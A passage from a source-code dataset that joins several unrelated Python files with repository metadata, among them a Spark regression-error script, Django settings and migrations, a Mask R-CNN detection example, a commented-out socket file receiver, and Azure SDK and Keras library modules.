self.logger.warning(f'对象的方法 【{f.__name__}】 首次使用 rabbitmq channel,进行初始化执行 init_broker 方法') self.init_broker() self.has_init_broker = 1 return f(self, *args, **kwargs) # noinspection PyBroadException try: return f(self, *args, **kwargs) except (PikaAMQPError, amqpstorm.AMQPError) as e: # except Exception as e: # 现在装饰器用到了绝大多出地方,单个异常类型不行。ex self.logger.error(f'rabbitmq链接出错 ,方法 {f.__name__} 出错 ,{e}') self.init_broker() return f(self, *args, **kwargs) return _deco_mq_conn_error
37251f91b138c8ef98d57d8e1e0107a83c10e7d2
361756a29c63961fd02bd335aca629322b7989a7
/Week 3/code/q1/spark-app.py
459713353fa52e4fc715b7874ad7111b09db3b46
[]
no_license
bbengfort/introduction-to-hadoop-and-spark
67eadf923028cd53cfcec21fd1a521f6d5fe3569
14b9ebd87984277b2a02cdffad0db27082b4d3e9
refs/heads/master
2022-12-02T08:00:46.975122
2015-12-01T20:37:59
2015-12-01T20:37:59
46,567,192
0
1
null
null
null
null
UTF-8
Python
false
false
3,402
py
#!/usr/bin/env python # spark-app.py # A Spark application that computes the MSE of a linear model on test data. # # Author: Benjamin Bengfort <[email protected]> # Created: Thu Nov 12 07:29:58 2015 -0500 """ A Spark application that computes the MSE of a linear model on test data. """ ########################################################################## ## Imports ########################################################################## import sys import csv from functools import partial from StringIO import StringIO from pyspark import SparkConf, SparkContext ########################################################################## ## Global Variables ########################################################################## APP_NAME = "MSE of Blog Comments Regression" ########################################################################## ## Helper functions ########################################################################## def parse(line): """ Splits the line on a CSV and parses it into floats. Returns a tuple of: (X, y) where X is the vector of independent variables and y is the target (dependent) variable; in this case the last item in the row. """ reader = csv.reader(StringIO(line)) row = [float(x) for x in reader.next()] return (tuple(row[:-1]), row[-1]) def cost(row, coef, intercept): """ Computes the square error given the row. """ X, y = row # extract the dependent and independent vals from the tuple. # Compute the predicted value based on the linear model yhat = sum([b*x for (b,x) in zip(coef.value, X)]) + intercept.value # Compute the square error of the prediction return (y - yhat) ** 2 ########################################################################## ## Primary Analysis and Main Method ########################################################################## def main(sc): """ Primary analysis mechanism for Spark application """ # Load coefficients and intercept from local file coef = [] intercept = None # Load the parameters from the text file with open('params.txt', 'r') as params: # Read the file and split on new lines and parse into floats data = [ float(row.strip()) for row in params.read().split("\n") if row.strip() ] coef = data[:-1] # Everything but the last value are the thetas (coefficients) intercept = data[-1] # The last value is the intercept # Broadcast the parameters across the Spark cluster # Note that this data is small enough you could have used a closure coef = sc.broadcast(coef) intercept = sc.broadcast(intercept) # Create an accumulator to sum the squared error sum_square_error = sc.accumulator(0) # Load and parse the blog data from HDFS and insert into an RDD blogs = sc.textFile("blogData").map(parse) # Map the cost function and accumulate the sum. error = blogs.map(partial(cost, coef=coef, intercept=intercept)) error.foreach(lambda cost: sum_square_error.add(cost)) # Print and compute the mean. print sum_square_error.value / error.count() if __name__ == '__main__': # Configure Spark conf = SparkConf().setAppName(APP_NAME) sc = SparkContext(conf=conf) # Execute Main functionality main(sc)
4ed043179eca6f4607079e4daf5b02187ec1c8c9
0a8bcc7ffdc143d82a351c84f46676a7b4564d1c
/app/config/settings.py
9f887d232fa278cc393cb78be4e73a11b8807bb1
[]
no_license
orca9s/ex_class
354339aaddd882f4f294c3941784d3378769d084
0e4c76326226f6bb397c16d94c37aa45ec2973a6
refs/heads/master
2020-04-16T01:23:12.751879
2019-01-19T09:35:43
2019-01-19T09:35:43
165,171,185
0
0
null
null
null
null
UTF-8
Python
false
false
3,095
py
""" Django settings for config project. Generated by 'django-admin startproject' using Django 2.1.5. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'qs8_d7^nhjgcl#jpxux$^-(&obs_=vvrfv4qzvhab^*cqrd46i' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'config.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'config.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'ko-kr' TIME_ZONE = 'Asia/Seoul' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/'
bc6fc44f74c3620fd9e7b7d0a2ee996258b7e087
2346aac932096d7161591afc8f07105eba6de558
/chapter25_maskrcnn/object_detection_example.py
ea42017f0adf198b95c31e44d4fdb41ffd878eae
[]
no_license
cheeyeo/deep_learning_computer_vision
3436ac568539bd9ad060c9d81542e82c42e40ff2
44fb74e70e7d40717214cd2a0ac2aa6d3bbf5b58
refs/heads/master
2020-07-17T00:17:14.112988
2019-10-29T15:39:18
2019-10-29T15:39:18
205,898,970
1
0
null
null
null
null
UTF-8
Python
false
false
1,545
py
# Example on object detection using Mask R-CNN Library # Uses a pre-trained Mask R-CNN model trained on MSCOCO dataset from keras.preprocessing.image import load_img from keras.preprocessing.image import img_to_array from mrcnn.visualize import display_instances from mrcnn.model import MaskRCNN import os import argparse from utils import draw_image_with_boxes, load_coco_classes from config import TestConfig ap = argparse.ArgumentParser() ap.add_argument("-i", "--image", type=str, required=True, help="Image to perform object recognition on.") ap.add_argument("-m", "--model", default="data/mask_rcnn_coco.h5", type=str, help="Model weights for Mask R-CNN model.") ap.add_argument("-o", "--object-detection", action="store_true", help="Perform object detection using Mask R-CNN model.") args = vars(ap.parse_args()) # Define and load model rcnn = MaskRCNN(mode='inference', model_dir='./', config=TestConfig()) rcnn.load_weights(args["model"], by_name=True) img = load_img(args["image"]) img_pixels = img_to_array(img) results = rcnn.detect([img_pixels], verbose=0) r = results[0] if args["object_detection"]: print("[INFO] Performing object detection using display_instances...") # define 81 classes that the coco model knowns about class_names = load_coco_classes('data/coco_classes.txt') display_instances(img_pixels, r['rois'], r['masks'], r['class_ids'], class_names, r['scores']) else: draw_image_with_boxes(img, r['rois']) print('[INFO] Saving image with bounding boxes') img.save(os.path.join('out', args["image"]))
2dcf86b8d3b334a27a7962ae098f62af4a037e83
e0cfb71a4268367fab77253a2460714a16e830aa
/doctorbot/website/views.py
32da7106dfec332ef5bf99c76e01b6ff6d1f540a
[ "MIT" ]
permissive
zuxfoucault/DoctorBot_demo
79b40548dfd5f34b0f2ccb7857e9377610394608
82e24078da4d2e6caba728b959812401109e014d
refs/heads/master
2020-04-24T01:10:17.010551
2019-02-20T02:57:57
2019-02-20T02:57:57
171,589,459
0
0
null
null
null
null
UTF-8
Python
false
false
343
py
from django.http import HttpResponse from django.shortcuts import render_to_response from rest_framework import generics from rest_framework import permissions from rest_framework.decorators import api_view, permission_classes # Create your views here. @api_view(['GET']) def index_view(requests): return render_to_response('index.html')
d135c72038a9c0c01be8b4b8ae588403decf6726
a9b05f3de50bf287b914d4786537cc81a208eaf8
/preprocessing/migrations/0001_initial.py
6d47579c623896aa6d24f9f404c75fbffc4f2935
[]
no_license
15101538237ren/AccidentsPrediction
21b23ee60ca1bf8f7aee12f515db046f0bd94799
b0248c9fc8c1c5018f79083adc4c2b8130e2dba0
refs/heads/master
2018-11-04T18:27:54.049460
2018-01-09T13:25:48
2018-01-09T13:25:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,709
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ] operations = [ migrations.CreateModel( name='App_Incidence', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('removed', models.DateTimeField(default=None, null=True, editable=False, blank=True)), ('longitude', models.DecimalField(verbose_name=b'\xe7\xbb\x8f\xe5\xba\xa6', max_digits=10, decimal_places=7)), ('latitude', models.DecimalField(verbose_name=b'\xe7\xba\xac\xe5\xba\xa6', max_digits=10, decimal_places=7)), ('place', models.TextField(verbose_name=b'\xe5\x9c\xb0\xe7\x82\xb9')), ('create_time', models.DateTimeField(verbose_name=b'\xe4\xb8\xbe\xe6\x8a\xa5\xe6\x97\xb6\xe9\x97\xb4')), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Call_Incidence', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('removed', models.DateTimeField(default=None, null=True, editable=False, blank=True)), ('create_time', models.DateTimeField(verbose_name=b'122\xe6\x8a\xa5\xe8\xad\xa6\xe6\x97\xb6\xe9\x97\xb4')), ('longitude', models.DecimalField(verbose_name=b'\xe7\xbb\x8f\xe5\xba\xa6', max_digits=10, decimal_places=7)), ('latitude', models.DecimalField(verbose_name=b'\xe7\xba\xac\xe5\xba\xa6', max_digits=10, decimal_places=7)), ('place', models.TextField(verbose_name=b'\xe5\x9c\xb0\xe7\x82\xb9')), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Violation', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('removed', models.DateTimeField(default=None, null=True, editable=False, blank=True)), ('longitude', models.DecimalField(verbose_name=b'\xe7\xbb\x8f\xe5\xba\xa6', max_digits=10, decimal_places=7)), ('latitude', models.DecimalField(verbose_name=b'\xe7\xba\xac\xe5\xba\xa6', max_digits=10, decimal_places=7)), ('create_time', models.DateTimeField(verbose_name=b'\xe4\xb8\xbe\xe6\x8a\xa5\xe6\x97\xb6\xe9\x97\xb4')), ], options={ 'abstract': False, }, ), ]
39f20b69aac765749dce3c577325b4782d937cad
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03855/s443395866.py
9abfb8ce858f7f0b73fac8a310592f783ae12145
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
1,472
py
from sys import stdin import sys import math from functools import reduce import functools import itertools from collections import deque,Counter from operator import mul import copy n, k, l = list(map(int, input().split())) road = [[] for i in range(n+1)] rail = [[] for i in range(n+1)] for i in range(k): p, q = list(map(int, input().split())) road[p].append(q) road[q].append(p) for i in range(l): r, s = list(map(int, input().split())) rail[r].append(s) rail[s].append(r) seen = [0 for i in range(n+1)] def dfs_stack(u, al, al_c, d): stack = deque([u]) seen[u] = 1 while len(stack) > 0: v = stack.pop() ### al_c[v] = d ### for w in al[v]: if seen[w] == 0: stack.append(w) seen[w] = 1 if stack == []: break road_c = [-1 for i in range(n+1)] rail_c = [-1 for i in range(n+1)] d = 0 for i in range(1,n+1): if seen[i] == 0: dfs_stack(i, road, road_c, d) d += 1 seen = [0 for i in range(n+1)] d = 0 for i in range(1,n+1): if seen[i] == 0: dfs_stack(i, rail, rail_c, d) d += 1 dict = {} for i in range(1, n+1): if (road_c[i], rail_c[i]) not in dict: dict[(road_c[i], rail_c[i])] = [i] else: dict[(road_c[i], rail_c[i])].append(i) ans = [0 for i in range(n+1)] for dd in dict.items(): for j in dd[1]: ans[j] = str(len(dd[1])) print(' '.join(ans[1:]))
5c9c62c3aa48e5a6db377c6d30804071a57f9151
abbb1e132b3d339ba2173129085f252e2f3311dc
/model-optimizer/extensions/back/CorrectName.py
1d1e9c0dd5231d964e8ac163b9be70176224efee
[ "Apache-2.0" ]
permissive
0xF6/openvino
56cce18f1eb448e25053fd364bcbc1da9f34debc
2e6c95f389b195f6d3ff8597147d1f817433cfb3
refs/heads/master
2022-12-24T02:49:56.686062
2020-09-22T16:05:34
2020-09-22T16:05:34
297,745,570
2
0
Apache-2.0
2020-09-22T19:03:06
2020-09-22T19:03:04
null
UTF-8
Python
false
false
1,807
py
""" Copyright (C) 2020 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from mo.graph.graph import Graph from mo.back.replacement import BackReplacementPattern class RestoreOriginalFrameworkName(BackReplacementPattern): """ This transformation corrects names of layers to their framework names. To perform this correction, framework layer name should be in the attribute 'framework_node_name'. In some cases, renaming is necessary only if some condition is fulfilled. Such condition should be a some function in the attribute 'rename_condition'. For example, in the transformation SoftmaxONNXFrontReplacer such condition is lambda n: len(n.graph.get_op_nodes(name=node_name)) == 0 """ enabled = True def find_and_replace_pattern(self, graph: Graph): for node in graph.get_op_nodes(): if not node.has_valid('framework_node_name'): continue if node.has_valid('rename_condition'): need_renaming = node['rename_condition'](node) del node['rename_condition'] if need_renaming: node.name = node['framework_node_name'] else: node.name = node['framework_node_name'] del node['framework_node_name']
0699c6935eb3618c4450c5e89f3ea0ee05bf01ae
cb35df97989fcc46831a8adb8de3434b94fd2ecd
/tests/benchmarks/bm_point_mesh_distance.py
bc1da12883da43fa792ce14d561ae6af072b7a70
[ "MIT", "BSD-3-Clause" ]
permissive
facebookresearch/pytorch3d
6d93b28c0f36a4b7efa0a8143726200c252d3502
a3d99cab6bf5eb69be8d5eb48895da6edd859565
refs/heads/main
2023-09-01T16:26:58.756831
2023-08-26T20:55:56
2023-08-26T20:55:56
217,433,767
7,964
1,342
NOASSERTION
2023-08-25T10:00:26
2019-10-25T02:23:45
Python
UTF-8
Python
false
false
1,106
py
# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. from itertools import product from fvcore.common.benchmark import benchmark from tests.test_point_mesh_distance import TestPointMeshDistance def bm_point_mesh_distance() -> None: backend = ["cuda:0"] kwargs_list = [] batch_size = [4, 8, 16] num_verts = [100, 1000] num_faces = [300, 3000] num_points = [5000, 10000] test_cases = product(batch_size, num_verts, num_faces, num_points, backend) for case in test_cases: n, v, f, p, b = case kwargs_list.append({"N": n, "V": v, "F": f, "P": p, "device": b}) benchmark( TestPointMeshDistance.point_mesh_edge, "POINT_MESH_EDGE", kwargs_list, warmup_iters=1, ) benchmark( TestPointMeshDistance.point_mesh_face, "POINT_MESH_FACE", kwargs_list, warmup_iters=1, ) if __name__ == "__main__": bm_point_mesh_distance()
1a0c68fc136cb8faba43b827a4977ac6ec13bb9f
b059c2cf1e19932abb179ca3de74ced2759f6754
/S20/day29/server.py
02b38215230e14e190eb4dd508011026298f47aa
[]
no_license
Lwk1071373366/zdh
a16e9cad478a64c36227419d324454dfb9c43fd9
d41032b0edd7d96e147573a26d0e70f3d209dd84
refs/heads/master
2020-06-18T02:11:22.740239
2019-07-10T08:55:14
2019-07-10T08:55:14
196,130,277
0
0
null
null
null
null
UTF-8
Python
false
false
4,022
py
# import json # import struct # import socket # # sk = socket.socket() # sk.bind(('127.0.0.1',9001)) # sk.listen() # # conn,addr = sk.accept() # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # # conn.close() # sk.close() # import json # import struct # import socket # # sk = socket.socket() # sk.bind(('127.0.0.1',9002)) # sk.listen() # # conn,addr = sk.accept() # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import json # import struct # import socket # # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # # conn,addr = sk.accept() # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import json # import struct # import socket # # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # # conn,addr = sk.accept() # # print(conn) # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import socket # import json # import struct # # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # # conn,addr = sk.accept() # num = sk.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.rece(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import json # import struct # import socket # # sk= socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # conn,addr = sk.accept() # num = sk.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filesize'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import json # import socket # import struct # # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # conn,addr = sk.accept() # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filesize'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import socket # import json # import struct # # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # conn,addr = sk.accept() # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic =conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write() # conn.close() # sk.close() # import socket # import json # import struct # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # conn,addr = sk.accept() # num =conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close() # import json,socket,struct # sk = socket.socket() # sk.bind(('127.0.0.1',9000)) # sk.listen() # conn,addr = sk.accept() # num = conn.recv(4) # num = struct.unpack('i',num)[0] # str_dic = conn.recv(num).decode('utf-8') # dic = json.loads(str_dic) # with open(dic['filename'],'wb') as f : # content = conn.recv(dic['filesize']) # f.write(content) # conn.close() # sk.close()
8d8b659f31f0b33986e1d7bd43984a45e18577ac
50948d4cb10dcb1cc9bc0355918478fb2841322a
/azure-mgmt-network/azure/mgmt/network/v2018_12_01/models/virtual_network_tap.py
93c6e03ece13f3201e81b3d067b4e9c1753d2d04
[ "MIT" ]
permissive
xiafu-msft/azure-sdk-for-python
de9cd680b39962702b629a8e94726bb4ab261594
4d9560cfd519ee60667f3cc2f5295a58c18625db
refs/heads/master
2023-08-12T20:36:24.284497
2019-05-22T00:55:16
2019-05-22T00:55:16
187,986,993
1
0
MIT
2020-10-02T01:17:02
2019-05-22T07:33:46
Python
UTF-8
Python
false
false
4,312
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from .resource import Resource class VirtualNetworkTap(Resource): """Virtual Network Tap resource. Variables are only populated by the server, and will be ignored when sending a request. :param id: Resource ID. :type id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str :param location: Resource location. :type location: str :param tags: Resource tags. :type tags: dict[str, str] :ivar network_interface_tap_configurations: Specifies the list of resource IDs for the network interface IP configuration that needs to be tapped. :vartype network_interface_tap_configurations: list[~azure.mgmt.network.v2018_12_01.models.NetworkInterfaceTapConfiguration] :ivar resource_guid: The resourceGuid property of the virtual network tap. :vartype resource_guid: str :ivar provisioning_state: The provisioning state of the virtual network tap. Possible values are: 'Updating', 'Deleting', and 'Failed'. :vartype provisioning_state: str :param destination_network_interface_ip_configuration: The reference to the private IP Address of the collector nic that will receive the tap :type destination_network_interface_ip_configuration: ~azure.mgmt.network.v2018_12_01.models.NetworkInterfaceIPConfiguration :param destination_load_balancer_front_end_ip_configuration: The reference to the private IP address on the internal Load Balancer that will receive the tap :type destination_load_balancer_front_end_ip_configuration: ~azure.mgmt.network.v2018_12_01.models.FrontendIPConfiguration :param destination_port: The VXLAN destination port that will receive the tapped traffic. :type destination_port: int :param etag: Gets a unique read-only string that changes whenever the resource is updated. :type etag: str """ _validation = { 'name': {'readonly': True}, 'type': {'readonly': True}, 'network_interface_tap_configurations': {'readonly': True}, 'resource_guid': {'readonly': True}, 'provisioning_state': {'readonly': True}, } _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'location': {'key': 'location', 'type': 'str'}, 'tags': {'key': 'tags', 'type': '{str}'}, 'network_interface_tap_configurations': {'key': 'properties.networkInterfaceTapConfigurations', 'type': '[NetworkInterfaceTapConfiguration]'}, 'resource_guid': {'key': 'properties.resourceGuid', 'type': 'str'}, 'provisioning_state': {'key': 'properties.provisioningState', 'type': 'str'}, 'destination_network_interface_ip_configuration': {'key': 'properties.destinationNetworkInterfaceIPConfiguration', 'type': 'NetworkInterfaceIPConfiguration'}, 'destination_load_balancer_front_end_ip_configuration': {'key': 'properties.destinationLoadBalancerFrontEndIPConfiguration', 'type': 'FrontendIPConfiguration'}, 'destination_port': {'key': 'properties.destinationPort', 'type': 'int'}, 'etag': {'key': 'etag', 'type': 'str'}, } def __init__(self, **kwargs): super(VirtualNetworkTap, self).__init__(**kwargs) self.network_interface_tap_configurations = None self.resource_guid = None self.provisioning_state = None self.destination_network_interface_ip_configuration = kwargs.get('destination_network_interface_ip_configuration', None) self.destination_load_balancer_front_end_ip_configuration = kwargs.get('destination_load_balancer_front_end_ip_configuration', None) self.destination_port = kwargs.get('destination_port', None) self.etag = kwargs.get('etag', None)
8617e5ac82e89f58b2116bb99003c611dc46da49
7d90e6bebce35d5810da7cb9180f34bfa7398d38
/guestbook/tests/models_tests.py
dde2c5be1e1420dfe441443bb112fae8d81c8d40
[]
no_license
mbrochh/pugsg_20120419
bd4c5fc2ec9edbb6a8f72e1165df46aed00cc88f
0d2d396863e4d25a0cb2e97d30b16ebbd6283d0c
refs/heads/master
2021-01-01T17:57:22.171950
2012-04-19T10:20:23
2012-04-19T10:20:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
589
py
"""Tests for the models of the ``guestbook`` app.""" from django.test import TestCase from guestbook.tests.factories import GuestbookFactory class GuestbookEntryTestCase(TestCase): """Tests for the ``GuestbookEntry`` model class.""" def test_instantiation_and_save(self): entry = GuestbookFactory.build() entry.save() self.assertTrue(entry.pk, msg=( 'New object should have a primary key.')) def test_character_count(self): entry = GuestbookFactory.build(text='Hello world') self.assertEqual(entry.character_count(), 11)
6cda6f690fe6f4d19b954e3827b4044a8fd710c4
b22492fd331ee97d5c8853687a390b3adb92dd49
/freemt_utils/switch_to.py
440a1cbb70961cc6e76cdc6fd97ebcfba54631b6
[ "MIT" ]
permissive
ffreemt/freemt-utils
3ea6af7f4bf8800b1be7ec51e05b811710b20907
25bf192033235bb783005795f8c0bcdd8a79610f
refs/heads/master
2021-07-18T18:44:33.907753
2021-02-06T16:52:46
2021-02-06T16:52:46
240,441,691
0
0
null
null
null
null
UTF-8
Python
false
false
689
py
'''Switch to path contextmanager (with). http://ralsina.me/weblog/posts/BB963.html ''' import os import pathlib from contextlib import contextmanager # from loguru import logger from logzero import logger @contextmanager def switch_to(path=pathlib.Path().home()): '''Switch to path. with switch_to(path): pass # do stuff ''' old_dir = os.getcwd() try: path = pathlib.Path(path) except Exception as exc: logger.error(exc) raise if not path.is_dir(): # pragma: no cover msg = '*{}* is not a directory or does not exist.' raise Exception(msg.format(path)) os.chdir(path) yield os.chdir(old_dir)
ace417d486a29e19a3f31f74a2d3f72f02ac8ef3
add74ecbd87c711f1e10898f87ffd31bb39cc5d6
/xcp2k/classes/_point37.py
4efe740542537882034ccb5e823d228d616eacff
[]
no_license
superstar54/xcp2k
82071e29613ccf58fc14e684154bb9392d00458b
e8afae2ccb4b777ddd3731fe99f451b56d416a83
refs/heads/master
2021-11-11T21:17:30.292500
2021-11-06T06:31:20
2021-11-06T06:31:20
62,589,715
8
2
null
null
null
null
UTF-8
Python
false
false
396
py
from xcp2k.inputsection import InputSection class _point37(InputSection): def __init__(self): InputSection.__init__(self) self.Type = None self.Atoms = [] self.Weights = [] self.Xyz = None self._name = "POINT" self._keywords = {'Type': 'TYPE', 'Xyz': 'XYZ'} self._repeated_keywords = {'Atoms': 'ATOMS', 'Weights': 'WEIGHTS'}
187e77784e4fb6d6faeec279f8d0263e9ea8a61c
080c13cd91a073457bd9eddc2a3d13fc2e0e56ae
/MY_REPOS/awesome-4-new-developers/tensorflow-master/tensorflow/python/keras/saving/utils_v1/export_output.py
38953921695fad04cb716d8eaf24bad5ad5883e9
[ "Apache-2.0" ]
permissive
Portfolio-Projects42/UsefulResourceRepo2.0
1dccc8961a09347f124d3ed7c27c6d73b9806189
75b1e23c757845b5f1894ebe53551a1cf759c6a3
refs/heads/master
2023-08-04T12:23:48.862451
2021-09-15T12:51:35
2021-09-15T12:51:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
15,044
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # LINT.IfChange """Classes for different types of export output.""" import abc from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_util from tensorflow.python.keras.saving.utils_v1 import ( signature_def_utils as unexported_signature_utils, ) from tensorflow.python.saved_model import signature_def_utils class ExportOutput(object): """Represents an output of a model that can be served. These typically correspond to model heads. """ __metaclass__ = abc.ABCMeta _SEPARATOR_CHAR = "/" @abc.abstractmethod def as_signature_def(self, receiver_tensors): """Generate a SignatureDef proto for inclusion in a MetaGraphDef. The SignatureDef will specify outputs as described in this ExportOutput, and will use the provided receiver_tensors as inputs. Args: receiver_tensors: a `Tensor`, or a dict of string to `Tensor`, specifying input nodes that will be fed. """ pass def _check_output_key(self, key, error_label): # For multi-head models, the key can be a tuple. if isinstance(key, tuple): key = self._SEPARATOR_CHAR.join(key) if not isinstance(key, str): raise ValueError( "{} output key must be a string; got {}.".format(error_label, key) ) return key def _wrap_and_check_outputs( self, outputs, single_output_default_name, error_label=None ): """Wraps raw tensors as dicts and checks type. Note that we create a new dict here so that we can overwrite the keys if necessary. Args: outputs: A `Tensor` or a dict of string to `Tensor`. single_output_default_name: A string key for use in the output dict if the provided `outputs` is a raw tensor. error_label: descriptive string for use in error messages. If none, single_output_default_name will be used. Returns: A dict of tensors Raises: ValueError: if the outputs dict keys are not strings or tuples of strings or the values are not Tensors. """ if not isinstance(outputs, dict): outputs = {single_output_default_name: outputs} output_dict = {} for key, value in outputs.items(): error_name = error_label or single_output_default_name key = self._check_output_key(key, error_name) if not isinstance(value, ops.Tensor): raise ValueError( "{} output value must be a Tensor; got {}.".format( error_name, value ) ) output_dict[key] = value return output_dict class ClassificationOutput(ExportOutput): """Represents the output of a classification head. Either classes or scores or both must be set. The classes `Tensor` must provide string labels, not integer class IDs. If only classes is set, it is interpreted as providing top-k results in descending order. If only scores is set, it is interpreted as providing a score for every class in order of class ID. If both classes and scores are set, they are interpreted as zipped, so each score corresponds to the class at the same index. Clients should not depend on the order of the entries. """ def __init__(self, scores=None, classes=None): """Constructor for `ClassificationOutput`. Args: scores: A float 